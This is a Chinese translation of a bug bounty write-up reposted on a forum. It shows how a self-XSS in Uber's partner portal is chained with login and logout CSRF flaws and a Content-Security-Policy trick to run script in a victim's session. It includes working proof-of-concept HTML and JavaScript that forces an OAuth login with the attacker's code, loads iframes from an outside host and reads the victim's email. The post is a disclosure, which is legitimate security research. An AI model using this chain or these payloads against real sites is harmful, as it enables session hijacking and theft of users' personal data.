Uber Bug Bounty:将self-XSS转变为good-XSS

既然Uber bug赏金计划已公开发布,我可以发布一些我最喜欢的提交内容,这些内容在过去的一年里一直很想做。

在Uber的合作伙伴门户网站上,驱动程序可以登录并更新其详细信息,我发现了一个非常简单的经典XSS:将其中一个配置文件字段的值更改为

<script>alert(document.domain);</script>

导致代码被执行,并弹出一个警告框。

注册后,这需要花费两分钟的时间才能找到,但现在又来了。

Self-XSS

能够在另一个站点的上下文中执行额外的,任意的JavaScript称为跨站点脚本(我假设99%的读者都知道)。通常,你希望针对其他用户执行此操作,以便抽取会话中的cookie,提交XHR请求等。

如果您无法针对其他用户执行此操作 - 例如,代码仅针对您的帐户执行,则称为Self-XSS。

在这种情况下,它似乎是我们发现的。你的个人资料的地址部分仅向您显示(例外情况可能是内部Uber工具也显示地址,但这是另一个问题),我们无法更新其他用户的地址以强制对其执行。

我总是想着是否发送有潜力的bug(这个站点中的XSS漏洞),所以让我们试着找出一种从bug中删除“self”部分的方法。

Uber OAuth登录流程

Uber使用的OAuth非常典型:

用户访问需要登录的Uber站点,例如

partners.uber.com

用户被重定向到授权服务器,

login.uber.com

用户输入凭据

用户被重定向回代码,然后可以交换访问cookie

partners.uber.com

如果您没有从上面的屏幕截图中看到OAuth回调,

/oauth/callback?code=...

不使用推荐的参数。这在登录功能中引入了CSRF漏洞,可能会被视为重要问题。

state

此外,注销功能中存在CSRF漏洞,这实际上不属于问题。

/logout

销毁用户的会话,并执行重定向到相同的注销功能。

partner.uber.com

login.uber.com

由于我们的payload仅在我们的帐户内可用,因此我们希望将用户登录到我们的帐户,而帐户又将执行payload。但是,将它们登录到我们的帐户会

破坏它们的会话,这会破坏很多错误的价值(不再可能对其帐户执行操作)。因此,让我们将这三个小问题(self-XSS和两个CSRF)联系在一起。

有关OAuth安全性的更多信息,请查看@ homakov的精彩指南。

链接中的bugs

我们的计划有三个部分:

首先,将用户退出会话,但不记录他们的会话。这可以确保我们可以将其记录回帐户

partner.uber.com

login.uber.com

其次,将用户登录到我们的帐户,以便执行我们的payload

最后,记录他们回到自己的帐户,而我们的代码仍然在运行,这样我们就可以访问他们的详细资料

首先:注销一个域名

我们首先要发出请求

https://partners.uber.com/logout/

以便我们可以将它们记录到我们的帐户中。问题是向此端点发出requets导致302重定向到,这会破坏会话。我们无法拦截每个重定向并删除请求,因为浏览器会隐式跟踪这些。

https://login.uber.com/logout/

但是,我们可以做的一个技巧是使用内容安全策略来定义允许加载哪些源(我希望您可以看到使用旨在帮助缓解此上下文中的XSS的功能的方法)。

我们将策略设置为仅允许请求

partners.uber.com

这将阻止。

https://login.uber.com/logout/
<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/">

这有效,如CSP违规错误消息所示:

第2步:登录我们的帐户

这个比较简单。我们发出请求

https://partners.uber.com/login/

启动登录(这是必需的,否则应用程序将不接受回调)。使用CSP技巧我们阻止流程完成,然后我们自己提供(可以通过登录我们自己的帐户获得),将其登录到我们的帐户。

code

由于CSP违规触发了

onerror

事件处理程序,这将用于跳转到下一步。

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Logout of partners.uber.com -->
<img src="https://partners.uber.com/logout/" onerror="login();">
<script>
    //Initiate login so that we can redirect them
    var login = function() {
        var loginImg = document.createElement('img');
        loginImg.src = 'https://partners.uber.com/login/';
        loginImg.onerror = redir;
    }
    //Redirect them to login with our code
    var redir = function() {
        //Get the code from the URL to make it easy for testing
        var code = window.location.hash.slice(1);
        var loginImg2 = document.createElement('img');
        loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
        loginImg2.onerror = function() {
            //Redirect to the profile page with the payload
            window.location = 'https://partners.uber.com/profile/';
        }
    }
</script>

第3步:切换回他们的帐户

这部分是将作为XSS的payload包含的代码,存储在我们的帐户中。

一旦执行此有效负载,我们就可以切换回他们的帐户。这必须在iframe中 - 我们需要能够继续运行我们的代码。

//Create the iframe to log the user out of our account and back into theirs
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);

iframe的内容再次使用CSP技巧:

<!-- Set content security policy to block requests to login.uber.com, so the target maintains their session -->
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<!-- Log the user out of our partner account -->
<img src="https://partners.uber.com/logout/" onerror="redir();">
<script>
    //Log them into partners via their session on login.uber.com
    var redir = function() {
        window.location = 'https://partners.uber.com/login/';
    };
</script>

最后一部分是创建另一个 iframe,因此我们可以获取他们的一些数据。

//Wait a few seconds, then load the profile page, which is now *their* profile
setTimeout(function() {
    var profileIframe = document.createElement('iframe');
    profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
    profileIframe.setAttribute('id', 'pi');
    document.body.appendChild(profileIframe);
    //Extract their email as PoC
    profileIframe.onload = function() {
        var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
        var matches = /value="([^"]+)" name="email"/.exec(d);
        alert(matches[1]);
    }
}, 9000);

由于我们的最终iframe是从与包含我们的JS的Profile页面相同的原点加载的

X-Frame-Options

设置为not,我们可以访问其中的内容(使用)

sameorigin

deny

contentWindow

总结

在结合所有步骤后,我们有以下攻击流程:

将步骤3中的有效负载添加到我们的配置文件

登录我们的帐户,但取消回调并记下未使用的参数

    code

让用户访问我们从步骤2创建的文件 - 这与您对某人执行reflect-XSS的方式类似

然后,用户将被注销,并登录到我们的帐户

将执行步骤3中的payload

在隐藏的iframe中,它们将从我们的帐户中注销

在另一个隐藏的iframe中,他们将被登录到他们的帐户中

我们现在有一个iframe,在同一个来源中包含用户的会话

这是一个有趣的漏洞,并证明值得坚持不懈地专研漏洞可能比最初想象的更具影响力。

原文链接:https://whitton.io/articles/uber-turning-self-xss-into-good-xss/

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖